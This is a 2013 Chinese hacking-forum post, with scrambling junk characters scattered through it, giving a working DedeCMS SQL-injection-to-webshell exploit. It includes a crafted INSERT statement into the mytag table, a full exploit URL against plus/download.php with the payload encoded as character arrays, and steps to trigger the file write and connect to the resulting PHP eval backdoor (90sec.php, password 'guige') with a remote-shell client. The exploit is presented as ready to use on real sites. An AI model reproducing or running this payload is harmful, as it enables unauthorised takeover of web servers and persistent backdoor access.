本帖最后由 土豆 于 2013-6-10 14:41 编辑
9 @: a9 K, \+ z8 l) V% B7 |! H* A" t
0 ?/ B3 G. N2 W作者:鬼哥# f! B$ e- M k, m
1 u+ s# ]8 H8 I. N看贴不回，没JJ1 }3 c# {" q6 C' B: {% c" ~
; w, f9 a8 j0 M9 Q
漏洞大家都知道是哪个。
. E+ ~3 ^7 v6 i- Z, ?2 K) t& ]' L9 a+ a( A3 E
其实我一直在玩。。郁闷 虽然这个漏洞不是我第一个发现的，以前也是朋友告诉我。/ C6 r( i2 q( B! b: E/ s- o* J& j
+ M- c0 L" M: U/ _6 S3 o a
但是没公开。我承认想自己留着玩。。以前这个漏洞应该很多人知道没发出来而已。
W4 d$ u8 s: H9 a3 } E/ M. x) }2 L5 V8 G' i5 q
刚看了出的几个exp .. 进后台。还得找后台路径 太麻烦了吧？; \9 W+ D5 {% c+ b! j
+ ^( Y8 v+ a/ @getshell 很容易 。 既然刚发出来的是 sql方法getshell 我也看到几个人发了sql增加表mytag的内容。9 h: }6 H7 v9 I: [" ?
6 p" m: i9 N P: H2 {
但是测试了下。。失败% k M$ u4 k7 U e8 C
6 y- t; S' M5 @2 T7 ^
原因： 用的语句是update 很多站 mytag 里面都没内容。那么你用update 那有什么用 修改不了任何数据。只能用 INSERT 当然，语句带#就会暴 错误。。现在要做的饶过即可。以前也出过那么多dede sql 结合饶过，成功INSERT。2 g% p3 `: g0 B) s( o
7 L. K0 H. j/ `4 s7 S
构造语句：mytag` (aid,expbody,normbody) VALUES(9013,@`\'`,'{dede:php}file_put_contents(''90sec.php'',''<?php eval($_POST[guige]);?>'');{/dede:php}') # @`\'`
( |+ h: L8 N5 p" v( S9 m+ w6 _6 C! ^2 Z1 `4 J
EXP：. R" J+ o% m' |2 V
' x( _( p7 T! y7 c
http://www.xxx.com/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=57&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=967 G" P+ T b2 s
" c: H/ X: F% N/ V& @) C" V1 ]
8 S' a) _+ u! @; ^* m
成功增加。
) ]5 ~; _3 E {: M. L8 h8 Z
9 i+ k) A* _' R9 c! M访问http://www.xxx.com/plus/mytag_js.php?aid=9013* s2 v4 v; S( {
生成一句话木马.2 A. ~! O( @8 Y P: l% X1 _2 Z
菜刀连接 http://www.xxx.com/plus/90sec.php 密码 guige
* e8 P/ P7 d1 ?/ l. N# e6 \ d; u, e7 L6 S6 K3 K
测试OK。
: Y" W& Z7 H5 x1 U9 {& A4 z0 p4 B p. X: i5 b6 U
" v2 V! `, k u1 h w7 A6 r1 @ |
发表于 2013-6-10 16:49:18
收藏
支持
反对